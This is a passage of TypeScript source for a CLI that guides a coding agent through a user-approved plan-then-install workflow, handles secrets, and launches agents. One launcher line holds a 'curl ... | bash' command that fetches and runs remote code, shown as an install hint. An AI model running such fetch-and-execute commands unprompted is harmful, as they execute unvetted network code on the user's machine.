 wait plan                         Block until the user approves the plan or asks for changes.\n  env <input-id> <ENV_VAR> [--file <path>]\n                                    Write the API key behind an answered llm-provider input to an env file (default .env.local) as ENV_VAR=<key>, without printing it.\n  add-step <title> [--detail <text>] [--product <slug>] [--active]\n                                    Declare a step of the install (after the plan is approved). Prints its id.\n  step <step-id> <status> [--note <text>]\n                                    Set a step to pending|active|done|skipped|blocked.\n  done [--summary <text>] [--preview <url>]\n                                    Mark every remaining step done and propose closing; the user closes it.\n`;\n\n/** Characters a setup URL may hold: an origin and a path, nothing a shell or a reader treats as more than an address. */\nconst SETUP_URL_PATTERN =\n  /^https?:\\/\\/[A-Za-z0-9.-]+(?::[0-9]+)?(?:\\/[A-Za-z0-9._~%/-]*)?$|^http:\\/\\/\\[::1\\](?::[0-9]+)?(?:\\/[A-Za-z0-9._~%/-]*)?$/;\n\n/**\n * The normalized setup URL, or an error saying why it is refused. A setup URL\n * is printed into shell commands and the coding agent's prompt, and the API\n * key travels over it, so it must be https (http only on this machine), carry\n * no credentials, query or fragment, and hold only address characters.\n */\nexport const parseSetupUrl = (value: string): string => {\n  let url: URL;\n  try {\n    url = new URL(value);\n  } catch {\n    throw new Error(`\"${value}\" is not a URL`);\n  }\n  if (\n    url.protocol !== \"https:\" &&\n    !(url.protocol === \"http:\" && isLoopbackHostname(url.hostname))\n  ) {\n    throw new Error(\"the setup URL must use https (http only on localhost)\");\n  }\n  if (url.username !== \"\" || url.password !== \"\") {\n    throw new Error(\"the setup URL must not carry credentials\");\n  }\n  if (\n    url.search !== \"\" ||\n    url.hash !== \"\" ||\n    value.includes(\"?\") ||\n    value.includes(\"#\")\n  ) {\n    throw new Error(\"the setup URL must not have a query or fragment\");\n  }\n  const href = url.href.replace(/\\/$/, \"\");\n  if (!SETUP_URL_PATTERN.test(href)) {\n    throw new Error(\"the setup URL has characters a setup URL does not use\");\n  }\n  return href;\n};\n\n/** `value` as one shell word, quoted only when it holds more than plain URL characters. */\nconst shellWord = (value: string) =>\n  /^[A-Za-z0-9._~%/:@=+,-]+$/.test(value)\n    ? value\n    : `'${value.replaceAll(\"'\", `'\\\\''`)}'`;\n\nexport const agentInstructions = (setupUrl: string) => {\n  const url = shellWord(setupUrl);\n  return `You are the coding agent for a setup the user opened in their browser. The browser shows this setup live; every command below updates it. The user watches the browser, not this terminal: once setup begins, send questions through \"ask\" so the user can answer in their browser.\n\nFirst, start a persistent Monitor on\n  npx setup-agent ${url} stream\nand keep it running: the browser shows you as connected only while it runs, and it is how answers reach you. The URL is the user's link to you from their browser, not one setup: it outlives this one, and their next setup arrives on the same stream. Each line is a JSON array of events: \"planning.started\", \"input.answered\" ({inputId, answer, note?}; answer is an array for a choice question not asked with --single), \"input.dismissed\", \"plan.approved\", \"plan.changes-requested\" ({feedback}), \"message.created\" ({messageId, text}), \"finished\", \"cancelled\", \"setup.created\" ({products}).\n\nThe user can message you at any time, including while a question is waiting. Read \"message.created\" events, acknowledge each with \"npx setup-agent ${url} ack <message-id>\", and reply using \"log\" with what you will do. Pending messages are replayed when the stream starts and listed in \"status\". A message is not an answer or plan approval; keep those decisions explicit.\n\n\"log\" is a message to the user, and the user reads every one: send it only to reply to their message, to tell them something no question or step conveys (a blocker, a deviation from the plan, a decision you made for them), or once as a wrap-up when the install is finished. Findings go in the plan, progress in step notes, questions in \"ask\"; do not narrate.\n\nBefore planning, check the current setup status. If it is \"waiting\", tell the user in your own conversation: \"I'm connected. Go back to your browser and click Begin plan. You can watch my progress, answer questions, and steer me there.\" Then run:\n  npx setup-agent ${url} wait start\nKeep the stream running while you wait. Do not inspect the project, fetch guides, ask setup questions, or propose a plan until this command returns {\"ok\":true}. Only the user in the browser should start planning; never invoke the browser's start command yourself. \"planning.started\" also arrives on the stream. If the status is already \"planning\" or \"installing\", resume that phase without asking the user to begin again. If it is \"done\" or \"cancelled\", that setup is over: tell the user you are connected and waiting for their next setup, and run \"wait start\", which returns once the next one begins.\n\nThe remaining phases are plan, then install.\n\n1. Plan. Investigate only; change nothing yet. If the current directory is not an app to install into (a monorepo root, an empty folder, a library), ask where to install first:\n  npx setup-agent ${url} ask \"Which project should I install into?\" --placeholder \"An absolute path to the app\" --wait\nRead the project: its app framework and package manager, the agent framework and model provider it already uses, where components live, any existing chat route. Fetch each product's \"guide\" URL from the setup below; it is the install reference. Ask for what the project does not decide, using the standard questions so the browser can render them well:\n  npx setup-agent ${url} ask --preset framework\n  npx setup-agent ${url} ask --preset llm-provider\nThe setup's products are starting names and guide references. Explore each product's setup instructions, then discover and plan any other relevant products or dependencies the app needs. Read /catalog.md on the guide URL’s origin to find related products and fetch their setup guides. The starting list does not restrict the implementation or require adding another product to the list. Include relevant additions in the plan for approval.\nWhen the setup puts an assistant in the app, ask how users should access it after discovering the actual app and before proposing the plan. Skip this question when no product's guide installs an assistant (a standalone library or service setup, for example). Use an entry-point question with only 1–3 sensible alternatives. Describe the actual app's pages, workflow and component placement, not generic placeholder copy. Recommend one clear fit when there is one; two options may use the same form factor in different places. Each option needs a stable id, label, contextual description and entryPoint {\"formFactor\":\"modal\"|\"sidebar\"|\"full-page\",\"placement\":\"where it appears\",\"trigger\":\"how users open it or navigate to it\",\"recommended\":true?}. Write the JSON array for this app and send it with:\n  npx setup-agent ${url} ask \"Where should users access the assistant?\" --entry-points '<JSON array>' --wait\nMark a clear fit with \"recommended\":true rather than --default, so the user makes the pick. When you ask it, do not submit the plan before the user picks an entry point. Respect the selected placement and trigger in the plan and implementation. Do not ask for a new-versus-existing app setting; discover the app from its files and ask only for an install path when needed.\nSkip a preset the code already answers (a chat route on the AI SDK, a provider key in .env.local) and log why. Ask everything at once, keep investigating, and block with \"wait <input-id>\" only when nothing else can proceed. A framework answer is \"<framework>:<language>\", for example \"ai-sdk:typescript\". A model answer is JSON {\"provider\",\"model\",\"reasoningEffort\"?}. An answer may carry a \"note\" from the user; follow it. A choice answer that matches none of the options is the user's own text.\nThen write the plan as markdown and submit it:\n  npx setup-agent ${url} plan --file <path> --wait\nUse these headings, each with bullets: \"## What I found\" (facts as \\`- **Label:** value\\`: app framework, package manager, agent framework, model provider and model, where components live), \"## What I will install\" (packages and files, one per bullet), \"## Steps\" (a numbered list, one line each), and \"## Open questions\" only if any remain. Keep it under 30 lines; no preamble. \"plan --wait\" prints {\"decision\":\"approve\"} or {\"decision\":\"revise\",\"feedback\":\"...\"}. On revise, address the feedback (ask again if you need to) and submit a new plan; repeat until approved. Do not change the project before approval: the setup refuses steps until then.\n\n2. Install. Declare the steps from your plan up front, in order:\n  npx setup-agent ${url} add-step \"<title>\" --detail \"<one line>\"\nwhich prints the step id. Then work through them: \"step <id> active\" before, \"step <id> done --note '<one line on what you did>'\" after; \"skipped\" when the step is already satisfied, \"blocked\" when you cannot continue, saying why in --note. Add steps as the work reveals them. Ask when you need another decision or value (--choices for a pick, plain for text; --optional when you can proceed without an answer; --wait only when the answer is the very next thing you need). A choice question is multi-select: the user checks any number of your options, and the answer is an array of the ids they checked, plus their own text as an entry when they typed one. Pass --single only when the options exclude each other (one framework, one model, yes or no); the answer is then one id. Every option must carry an icon, given as --icons \"<id>=<icon>,...\" with the closest name from this pack: ${OPTION_ICONS.join(\", \")}. A question without an icon for each option is refused. Open inputs the user has not answered are listed under \"inputs\" in \"status\"; check them before asking again.\nThe API key behind a model answer is not in the answer and you never see it: pick the variable name the provider's SDK reads (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and run\n  npx setup-agent ${url} env <input-id> <ENV_VAR> --file .env.local\nwhich writes ENV_VAR=<key> into that file. Use the answer's model in the chat route and map reasoningEffort onto the provider's setting when it is set. Never invent a key or a model name.\n\nWhen every product is installed and verified, run\n  npx setup-agent ${url} done --summary \"<one or two lines on what you installed and how to try it>\" --preview http://localhost:<port>\nBefore that, start the project's dev server in the background when the project has one, check that the page you changed loads, and pass the address as --preview (the page itself when it is not the root); leave the server running so the user can try the result. Omit --preview when there is nothing to open. This proposes closing the setup; only the user closes it. Do not stop the stream or exit: stay idle on it, because the user may follow up with a \"message.created\" event. Handle it, then run \"done\" again. The stream prints \"finished\" once the user closes the setup, and \"cancelled\" if they end it early. Keep the stream running after either: the user's next setup starts on this same URL and arrives as \"setup.created\" with its products. Run\n  npx setup-agent ${url} wait start\nwhich returns once that setup begins, then run \"status\" for its products, guides and instructions and go through plan and install again. A \"setup.created\" event while you are still working means the user replaced this setup: drop what you were doing and start over the same way.\n`;\n};\n\nexport const INSTRUCTIONS = agentInstructions;\n\ntype Parsed = { positional: string[]; flags: Map<string, string | true> };\n\nconst parseArgs = (argv: readonly string[]): Parsed => {\n  const positional: string[] = [];\n  const flags = new Map<string, string | true>();\n  for (let i = 0; i < argv.length; i++) {\n    const arg = argv[i]!;\n    if (!arg.startsWith(\"--\")) {\n      positional.push(arg);\n      continue;\n    }\n    const name = arg.slice(2);\n    const next = argv[i + 1];\n    if (next !== undefined && !next.startsWith(\"--\")) {\n      flags.set(name, next);\n      i++;\n    } else {\n      flags.set(name, true);\n    }\n  }\n  return { positional, flags };\n};\n\nconst flagText = (flags: Parsed[\"flags\"], name: string) => {\n  const value = flags.get(name);\n  return typeof value === \"string\" ? value : undefined;\n};\n\nconst fail = (message: string): never => {\n  process.stderr.write(`setup-agent: ${message}\\n`);\n  return process.exit(1);\n};\n\nconst print = (value: unknown) => {\n  process.stdout.write(`${JSON.stringify(value)}\\n`);\n};\n\nconst AGENT_ENV: readonly [kind: string, variable: string][] = [\n  [\"claude\", \"CLAUDECODE\"],\n  [\"codex\", \"CODEX_SANDBOX\"],\n  [\"codex\", \"CODEX_SANDBOX_NETWORK_DISABLED\"],\n  [\"cursor\", \"CURSOR_AGENT\"],\n  [\"gemini\", \"GEMINI_CLI\"],\n];\n\n/** The coding agent this process runs under, from the variables each one exports to its shell. */\nexport const detectAgentKind = (env: NodeJS.ProcessEnv = process.env) =>\n  AGENT_ENV.find(([, variable]) => env[variable])?.[0];\n\ntype Launcher = {\n  kind: string;\n  name: string;\n  command: string;\n  args: (prompt: string) => string[];\n  install: string;\n};\n\nconst LAUNCHERS: Launcher[] = [\n  {\n    kind: \"claude\",\n    name: \"Claude Code\",\n    command: \"claude\",\n    args: (prompt) => [prompt],\n    install: \"npm install -g @anthropic-ai/claude-code\",\n  },\n  {\n    kind: \"codex\",\n    name: \"Codex\",\n    command: \"codex\",\n    args: (prompt) => [prompt],\n    install: \"npm install -g @openai/codex\",\n  },\n  {\n    kind: \"cursor\",\n    name: \"Cursor\",\n    command: \"agent\",\n    args: (prompt) => [prompt],\n    install: \"curl https://cursor.com/install -fsS | bash\",\n  },\n  {\n    kind: \"gemini\",\n    name: \"Gemini CLI\",\n    command: \"gemini\",\n    args: (prompt) => [\"-i\", prompt],\n    install: \"npm install -g @google/gemini-cli\",\n  },\n];\n\n/** True when a person typed the command into a terminal rather than an agent running it from its shell. */\nexport const isDirectInvocation = (\n  env: NodeJS.ProcessEnv = process.env,\n  stdin: { isTTY?: boolean | undefined } = process.stdin,\n  stdout: { isTTY?: boolean | undefined } = process.stdout,\n) =>\n  detectAgentKind(env) === undefined &&\n  stdin.isTTY === true &&\n  stdout.isTTY === true;\n\nconst chooseLauncher = async () => {\n  const rl = createInterface({ input: process.stdin, output: process.stdout });\n  try {\n    process.stdout.write(\n      \"This command is meant for a coding agent, and none is running here.\\nStart one to do the install:\\n\",\n    );\n    LAUNCHERS.forEach((launcher, index) => {\n      process.stdout.write(`  ${index + 1}. ${launcher.name}\\n`);\n    });\n    while (true) {\n      const answer = (\n        await rl.question(\"Choose [1]: \").catch(() => process.exit(1))\n      ).trim();\n      if (answer === \"\") return LAUNCHERS[0]!;\n      const byNumber = LAUNCHERS[Number(answer) - 1];\n      if (byNumber) return byNumber;\n      const byName = LAUNCHERS.find(\n        (launcher) =>\n          launcher.kind === answer.toLowerCase() ||\n          launcher.name.toLowerCase() === answer.toLowerCase(),\n      );\n      if (byName) return byName;\n      process.stdout.write(\"Enter a number from the list.\\n\");\n    }\n  } finally {\n    rl.close();\n  }\n};\n\nconst launchAgent = async (url: string) => {\n  const launcher = await chooseLauncher();\n  const prompt = `Run \\`npx setup-agent ${shellWord(url)}\\` and follow the instructions it prints.`;\n  process.stdout.write(`\\nStarting ${launcher.name}...\\n\\n`);\n  const child = spawn(launcher.command, launcher.args(prompt), {\n    stdio: \"inherit\",\n  });\n  const code = await new Promise<number>((resolve) => {\n    child.on(\"error\", (error: NodeJS.ErrnoException) => {\n      if (error.code === \"ENOENT\") {\n        process.stderr.write(\n          `${launcher.name} is not installed. Install it with:\\n  ${launcher.install}\\nthen run this command again.\\n`,\n        );\n      } else {\n        process.stderr.write(`${error.message}\\n`);\n      }\n      resolve(1);\n    });\n    child.on(\"exit\", (status) => resolve(status ?? 1));\n  });\n  process.exit(code);\n};\n\nconst requireState = (client: CheckoutClient): Checkout.State =>\n  client.state ?? fail(\"the setup has no state\");\n\nconst summary = (state: Checkout.State) => {\n  const plan = currentPlan(state);\n  return {\n    status: state.status,\n    agentConnected: isAgentPresent(state),\n    products: state.products,\n    instructions: state.instructions,\n    plan:\n      plan === undefined\n        ? null\n        : {\n            revision: plan.revision,\n            status: plan.status,\n            ...(plan.feedback !== undefined && { feedback: plan.feedback }),\n          },\n    progress: stepProgress(state),\n    steps: state.steps,\n    inputs: state.inputs,\n    log: state.log.slice(-20),\n    pendingMessages: state.log.filter(\n      (entry) => entry.role === \"user\" && entry.acknowledgedAt === undefined,\n    ),\n  };\n};\n\nconst STEP_STATUSES: readonly Checkout.StepStatus[] = [\n  \"pending\",\n  \"active\",\n  \"done\",\n  \"skipped\",\n  \"blocked\",\n];\n\ntype StreamEvent =\n  | { event: \"planning.started\" }\n  | { event: \"message.created\"; messageId: string; text: string }\n  | {\n      event: \"input.answered\";\n      inputId: string;\n      prompt: string;\n      /** The entries of a multiple choice answer, else the answer text. */\n      answer: string | string[];\n      note?: string;\n      /** True when a choice answer is, or a multiple one contains, the user's own text rather than an option. */\n      custom?: true;\n    }\n  | { event: \"input.dismissed\"; inputId: string; prompt: string }\n  | { event: \"plan.approved\"; revision: number }\n  | { event: \"plan.changes-requested\"; revision: number; feedback: string }\n  | { event: \"finished\"; next: string }\n  | { event: \"cancelled\"; next: string }\n  | { event: \"setup.created\"; products: string[] };\n\nconst STAY_CONNECTED =\n  \"This setup is over, not your connection. Keep the stream running, tell the user you are connected and waiting for their next setup, and run wait start.\";\n\nexport const diffEvents = (\n  before: Checkout.State,\n  after: Checkout.State,\n): StreamEvent[] => {\n  const events: StreamEvent[] = [];\n  if (before.status === \"waiting\" && after.status === \"planning\") {\n    events.push({ event: \"planning.started\" });\n  }\n  for (const entry of after.log) {\n    if (\n      entry.role === \"user\" &&\n      entry.acknowledgedAt === undefined &&\n      !before.log.some((previous) => previous.id === entry.id)\n    ) {\n      events.push({\n        event: \"message.created\",\n        messageId: entry.id,\n        text: entry.text,\n      });\n    }\n  }\n  for (const input of after.inputs) {\n    const previous = before.inputs.find(\n      (candidate) => candidate.id === input.id,\n    );\n    if (previous?.status === input.status) continue;\n    if (input.status === \"answered\") {\n      const answer = input.answer ?? \"\";\n      events.push({\n        event: \"input.answered\",\n        inputId: input.id,\n        prompt: input.prompt,\n        ...answerFields(input, answer),\n      });\n    } else if (input.status === \"dismissed\" && after.status !== \"cancelled\") {\n      events.push({\n        event: \"input.dismissed\",\n        inputId: input.id,\n        prompt: input.prompt,\n      });\n    }\n  }\n  for (const plan of after.plans) {\n    const previous = before.plans.find(\n      (candidate) => candidate.revision === plan.revision,\n    );\n    if (previous?.status === plan.status || plan.status === \"proposed\") {\n      continue;\n    }\n    if (plan.status === \"approved\") {\n      events.push({ event: \"plan.approved\", revision: plan.revision });\n    } else {\n      events.push({\n        event: \"plan.changes-requested\",\n        revision: plan.revision,\n        feedback: plan.feedback ?? \"\",\n      });\n    }\n  }\n  if (before.status !== \"done\" && after.status === \"done\") {\n    events.push({ event: \"finished\", next: STAY_CONNECTED });\n  }\n  if (before.status !== \"cancelled\" && after.status === \"cancelled\") {\n    events.push({ event: \"cancelled\", next: STAY_CONNECTED });\n  }\n  if (after.id !== null && after.id !== before.id) {\n    events.push({\n      event: \"setup.created\",\n      products: after.products.map((product) => product.slug),\n    });\n  }\n  return events;\n};\n\nconst stream = async (client: CheckoutClient) => {\n  let previous = requireState(client);\n  let pending: StreamEvent[] = diffEvents({ ...previous, log: [] }, previous);\n  let timer: ReturnType<typeof setTimeout> | null = null;\n  const flush = () => {\n    timer = null;\n    if (pending.length === 0) return;\n    print(pending);\n    pending = [];\n  };\n  client.subscribe(() => {\n    const next = client.state;\n    if (next === undefined) return;\n    pending.push(...diffEvents(previous, next));\n    previous = next;\n    if (pending.length > 0 && timer === null) timer = setTimeout(flush, 200);\n  });\n  flush();\n  const kind = detectAgentKind();\n  await client.commands[\"agent/hello\"]({\n    cwd: process.cwd(),\n    ...(kind !== undefined && { kind }),\n  });\n  const heartbeat = setInterval(() => {\n    void client.commands[\"agent/heartbeat\"]().catch(() => {});\n  }, AGENT_HEARTBEAT_MS);\n  const stop = () => {\n    clearInterval(heartbeat);\n    flush();\n    void client.commands[\"agent/bye\"]()\n      .catch(() => {})\n      .finally(() => {\n        client.dispose();\n        process.exit(0);\n      });\n  };\n  process.on(\"SIGHUP\", stop);\n  process.on(\"SIGINT\", stop);\n  process.on(\"SIGTERM\", stop);\n  await new Promise(() => {});\n};\n\n/** Resolves once a setup is planning or installing, or once the one being waited on is cancelled; a setup already closed when the wait begins is over, so the wait is for the next one. */\nexport const waitForStart = (\n  client: Pick<CheckoutClient, \"state\" | \"subscribe\">,\n) =>\n  new Promise<Checkout.Status>((resolve) => {\n    let previous: Checkout.Status | undefined;\n    const check = () => {\n      const state = client.state;\n      if (state === undefined) return;\n      const started =\n        state.status === \"planning\" || state.status === \"installing\";\n      const ended = isClosed(state) && previous === \"waiting\";\n      previous = state.status;\n      if (!started && !ended) return;\n      unsubscribe();\n      resolve(state.status);\n    };\n    const unsubscribe = client.subscribe(check);\n    check();\n  });\n\nconst waitForInput = (client: CheckoutClient, inputId: string) =>\n  new Promise<Checkout.Input>((resolve) => {\n    const check = () => {\n      const state = client.state;\n      const input = state?.inputs.find((candidate) => candidate.id === inputId);\n      if (!input) return;\n      if (input.status !== \"open\" || state?.status === \"cancelled\") {\n        unsubscribe();\n        resolve(input);\n      }\n    };\n    const unsubscribe = client.subscribe(check);\n    check();\n  });\n\nconst waitForPlan = (client: CheckoutClient, revision: number) =>\n  new Promise<Checkout.Plan | undefined>((resolve) => {\n    const check = () => {\n      const state = client.state;\n      const plan = state?.plans.find(\n        (candidate) => candidate.revision === revision,\n      );\n      if (\n        plan === undefined ||\n        plan.status !== \"proposed\" ||\n        state?.status === \"cancelled\"\n      ) {\n        unsubscribe();\n        resolve(plan);\n      }\n    };\n    const unsubscribe = client.subscribe(check);\n    check();\n  });\n\nconst decided = (plan: Checkout.Plan | undefined, state: Checkout.State) => {\n  if (state.status === \"cancelled\") return { ok: false, status: \"cancelled\" };\n  if (plan === undefined) return fail(\"the plan disappeared\");\n  return plan.status === \"approved\"\n    ? { ok: true, decision: \"approve\", revision: plan.revision }\n    : {\n        ok: true,\n        decision: \"revise\",\n        revision: plan.revision,\n        feedback: plan.feedback ?? \"\",\n      };\n};\n\nconst splitList = (value: string | undefined) =>\n  value\n    ?.split(\",\")\n    .map((entry) => entry.trim())\n    .filter(Boolean);\n\nexport const askSeed = (\n  rest: readonly string[],\n  flags: Parsed[\"flags\"],\n): Checkout.InputSeed & { stepId?: string } => {\n  const stepId = flagText(flags, \"step\");\n  const optional = flags.has(\"optional\");\n  const fallback = flagText(flags, \"default\");\n  if (flags.has(\"entry-points\")) {\n    if (\n      [\n        \"preset\",\n        \"product\",\n        \"choices\",\n        \"icons\",\n        \"multiple\",\n        \"single\",\n        \"only\",\n        \"placeholder\",\n      ].some((flag) => flags.has(flag))\n    )\n      return fail(\n        \"--entry-points cannot be combined with other input kinds, --multiple, --single or --only\",\n      );\n    const json = flagText(flags, \"entry-points\");\n    let value: unknown;\n    try {\n      value = JSON.parse(json ?? \"\");\n    } catch {\n      return fail(\"--entry-points needs a JSON array of options\");\n    }\n    const options = parseEntryPointOptions(value);\n    if (!options)\n      return fail(\n        \"--entry-points needs 1–3 unique options with id, label, description and entryPoint {formFactor, placement, trigger, recommended?}; at most one is recommended\",\n      );\n    if (\n      fallback !== undefined &&\n      !options.some((option) => option.id === fallback)\n    )\n      return fail(`no option \"${fallback}\" to default to`);\n    const prompt =\n      rest[0] ?? fail(\"usage: ask <prompt> --entry-points '<JSON array>'\");\n    if (prompt.trim() === \"\")\n      return fail(\"an entry-point prompt cannot be empty\");\n    return {\n      kind: \"entry-point\",\n      prompt,\n      options,\n      ...(fallback !== undefined && { default: fallback }),\n      optional,\n      ...(stepId !== undefined && { stepId }),\n    };\n  }\n  const preset = flagText(flags, \"preset\");\n  if (preset !== undefined) {\n    if (!isPresetId(preset)) {\n      return fail(\n        `unknown preset \"${preset}\"; use ${Object.keys(INPUT_PRESETS).join(\" or \")}`,\n      );\n    }\n    const only = splitList(flagText(flags, \"only\"));\n    const found = splitList(flagText(flags, \"choices\"))?.map((entry) => {\n      const [id = \"\", ...description] = entry.split(\"=\");\n      return description.length === 0\n        ? { id }\n        : { id, description: description.join(\"=\") };\n    });\n    try {\n      const seed = presetInput(preset, {\n        ...(only !== undefined && { only }),\n        ...(found !== undefined && { found }),\n        ...(fallback !== undefined && { default: fallback }),\n        optional,\n        ...(stepId !== undefined && { stepId }),\n      });\n      return rest[0] === undefined ? seed : { ...seed, prompt: rest[0] };\n    } catch (error) {\n      return fail(error instanceof Error ? error.message : String(error));\n    }\n  }\n  const prompt = rest[0] ?? fail(\"usage: ask <prompt>\");\n  const product = flagText(flags, \"product\");\n  if (product !== undefined) {\n    return {\n      kind: \"product\",\n      prompt,\n      product,\n      optional,\n      ...(stepId !== undefined && { stepId }),\n    };\n  }\n  const choices = splitList(flagText(flags, \"choices\"));\n  if (choices !== undefined) {\n    if (flags.has(\"single\") && flags.has(\"multiple\"))\n      return fail(\"--single and --multiple exclude each other\");\n    const icons = new Map<string, string>();\n    for (const entry of splitList(flagText(flags, \"icons\")) ?? []) {\n      const [id = \"\", icon = \"\"] = entry.split(\"=\", 2);\n      if (!choices.includes(id))\n        return fail(`no choice \"${id}\" to put an icon on`);\n      if (!isOptionIcon(icon)) {\n        return fail(\n          `unknown icon \"${icon}\"; pick one of ${OPTION_ICONS.join(\", \")}`,\n        );\n      }\n      icons.set(id, icon);\n    }\n    const missing = choices.filter((id) => !icons.has(id));\n    if (missing.length > 0) {\n      return fail(\n        `every option needs an icon; ${missing.map((id) => `\"${id}\"`).join(\", \")} ${missing.length === 1 ? \"has\" : \"have\"} none. Pass --icons \"${choices.map((id) => `${id}=<icon>`).join(\",\")}\" with icons from: ${OPTION_ICONS.join(\", \")}`,\n      );\n    }\n    return {\n      kind: \"choice\",\n      prompt,\n      options: choices.map((id) => ({ id, label: id, icon: icons.get(id)! })),\n      ...(!flags.has(\"single\") && { multiple: true }),\n      ...(fallback !== undefined && { default: fallback }),\n      optional,\n      ...(stepId !== undefined && { stepId }),\n    };\n  }\n  const placeholder = flagText(flags, \"placeholder\");\n  return {\n    prompt,\n    ...(placeholder !== undefined && { placeholder }),\n    optional,\n    ...(stepId !== undefined && { stepId }),\n  };\n};\n\nconst assertEnvKey = (key: string) => {\n  if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) {\n    throw new Error(`\"${key}\" is not an environment variable name`);\n  }\n};\n\n/** Sets `key=value` in dotenv text, replacing an existing line for the key. */\nexport const upsertEnvLine = (content: string, key: string, value: string) => {\n  assertEnvKey(key);\n  // A line break or other control character would end the line and let the\n  // value write lines of its own.\n  const isLineBreaking = (code: number) =>\n    code < 0x20 ||\n    (code >= 0x7f && code <= 0x9f) ||\n    code === 0x2028 ||\n    code === 0x2029;\n  if ([...value].some((char) => isLineBreaking(char.charCodeAt(0)))) {\n    throw new Error(`the value for ${key} must be a single line`);\n  }\n  const line = `${key}=${value}`;\n  const lines = content === \"\" ? [] : content.replace(/\\n$/, \"\").split(\"\\n\");\n  const index = lines.findIndex(\n    (entry) =>\n      /^(?:export\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*=/.exec(entry)?.[1] === key,\n  );\n  if (index === -1) lines.push(line);\n  else lines[index] = line;\n  return `${lines.join(\"\\n\")}\\n`;\n};\n\n/**\n * Write the secret `take` returns to `file` under `key`, leaving the file\n * owner-only. The file is opened before `take` runs, because taking the\n * secret consumes it and an unwritable destination must fail while it is\n * still deposited; it is read after, so lines written meanwhile survive.\n */\nexport const writeEnvSecret = async (\n  file: string,\n  key: string,\n  take: () => Promise<string>,\n  projectRoot = process.cwd(),\n) => {\n  assertEnvKey(key);\n  try {\n    if ((await lstat(file)).isSymbolicLink()) {\n      throw new Error(\n        `${file} is a symbolic link; pass --file with its target to write there`,\n      );\n    }\n  } catch (error) {\n    if ((error as NodeJS.ErrnoException).code !== \"ENOENT\") throw error;\n  }\n  const projectRelative = relative(projectRoot, file);\n  if (\n    projectRelative !== \"..\" &&\n    !projectRelative.startsWith(`..${sep}`) &&\n    !isAbsolute(projectRelative)\n  ) {\n    const root = await realpath(projectRoot);\n    const parent = await realpath(dirname(file));\n    const parentRelative = relative(root, parent);\n    if (\n      parentRelative === \"..\" ||\n      parentRelative.startsWith(`..${sep}`) ||\n      isAbsolute(parentRelative)\n    ) {\n      throw new Error(`${file} has a parent directory outside the project`);\n    }\n  }\n  const handle = await open(\n    file,\n    constants.O_RDWR |\n      constants.O_APPEND |\n      constants.O_CREAT |\n      constants.O_NOFOLLOW,\n    0o600,\n  ).catch((error: NodeJS.ErrnoException) => {\n    if (error.code === \"ELOOP\")\n      throw new Error(\n        `${file} is a symbolic link; pass --file with its target to write there`,\n      );\n    throw error;\n  });\n  try {\n    await handle.chmod(0o600);\n    const value = await take();\n    const current = await handle.readFile(\"utf8\");\n    // Built before truncating, so a refused value leaves the file intact.\n    const next = upsertEnvLine(current, key, value);\n    await handle.truncate(0);\n    await handle.writeFile(next);\n  } finally {\n    await handle.close();\n  }\n};\n\nconst redeemKeyDirectories = () => {\n  const stateHome =\n    process.platform === \"win32\"\n      ? process.env.LOCALAPPDATA || join(homedir(), \"AppData\", \"Local\")\n      : process.env.XDG_STATE_HOME || join(homedir(), \".local\", \"state\");\n  return [\n    join(stateHome, \"setup-agent\"),\n    join(\n      tmpdir(),\n      `setup-agent-${process.platform === \"win32\" ? userInfo().username : process.getuid!()}`,\n    ),\n  ];\n};\n\nconst checkRedeemKeyDirectory = async (directory: string) => {\n  if (!isAbsolute(directory)) {\n    throw new Error(\"state home must be an absolute path\");\n  }\n  const info = await lstat(directory);\n  if (!info.isDirectory() || info.isSymbolicLink()) {\n    throw new Error(\n      `redeem key directory must not be a symbolic link: ${directory}`,\n    );\n  }\n  if (process.platform !== \"win32\") {\n    if (info.uid !== process.getuid!()) {\n      throw new Error(\n        `redeem key directory must be owned by the user: ${directory}`,\n      );\n    }\n    if ((info.mode & 0o077) !== 0) await chmod(directory, 0o700);\n  }\n};\n\nconst prepareRedeemKeyDirectory = async (directory: string) => {\n  if (isAbsolute(directory)) {\n    await mkdir(directory, { recursive: true, mode: 0o700 });\n  }\n  await checkRedeemKeyDirectory(directory);\n};\n\nconst saveRedeemKey = async (hash: string, key: string) => {\n  let lastError: unknown;\n  for (const directory of redeemKeyDirectories()) {\n    const file = join(directory, `${hash}.key`);\n    let created = false;\n    try {\n      await prepareRedeemKeyDirectory(directory);\n      const handle = await open(\n        file,\n        constants.O_WRONLY |\n          constants.O_CREAT |\n          constants.O_EXCL |\n          constants.O_NOFOLLOW,\n        0o600,\n      );\n      created = true;\n      try {\n        await handle.writeFile(key);\n      } finally {\n        await handle.close();\n      }\n      return file;\n    } catch (error) {\n      if (created) await unlink(file).catch(() => {});\n      lastError = error;\n    }\n  }\n  throw lastError;\n};\n\nconst readRedeemKey = async (hash: string) => {\n  if (!/^[0-9a-f]{64}$/.test(hash)) return undefined;\n  for (const directory of redeemKeyDirectories()) {\n    try {\n      await checkRedeemKeyDirectory(directory);\n      const file = join(directory, `${hash}.key`);\n      const handle = await open(\n        file,\n        constants.O_RDONLY | constants.O_NOFOLLOW,\n      );\n      try {\n        const info = await handle.stat();\n        if (\n          !info.isFile() ||\n          (process.platform !== \"win32\" && (info.mode & 0o077) !== 0)\n        ) {\n          throw new Error(\"redeem key file must be private and regular\");\n        }\n        const key = await handle.readFile(\"utf8\");\n        if (createHash(\"sha256\").update(key).digest(\"hex\") === hash) {\n          return { key, file };\n        }\n      } finally {\n        await handle.close();\n      }\n    } catch {\n      continue;\n    }\n  }\n  return undefined;\n};\n\nconst answerFields = (input: Checkout.Input, answer: string) => ({\n  answer: (input.multiple && parseMultipleAnswer(answer)) || answer,\n  ...(input.note !== undefined && { note: input.note }),\n  ...(input.kind === \"choice\" &&\n    classifyChoiceAnswer(input, answer) === \"custom\" && {\n      custom: true as const,\n    }),\n});\n\nconst answered = (input: Checkout.Input) => ({\n  ok: true,\n  inputId: input.id,\n  status: input.status,\n  ...(input.answer !== undefined && answerFields(input, input.answer)),\n});\n\nexport const main = async (argv: readonly string[]) => {\n  const { positional, flags } = parseArgs(argv);\n  const [first, command = \"intro\", ...rest] = positional;\n  if (flags.has(\"help\") || flags.has(\"h\") || first === undefined) {\n    process.stdout.write(HELP);\n    return process.exit(first === undefined ? 1 : 0);\n  }\n  let url: string;\n  try {\n    url = parseSetupUrl(first);\n  } catch (error) {\n    return fail(error instanceof Error ? error.message : String(error));\n  }\n  if (command === \"intro\" && isDirectInvocation()) return 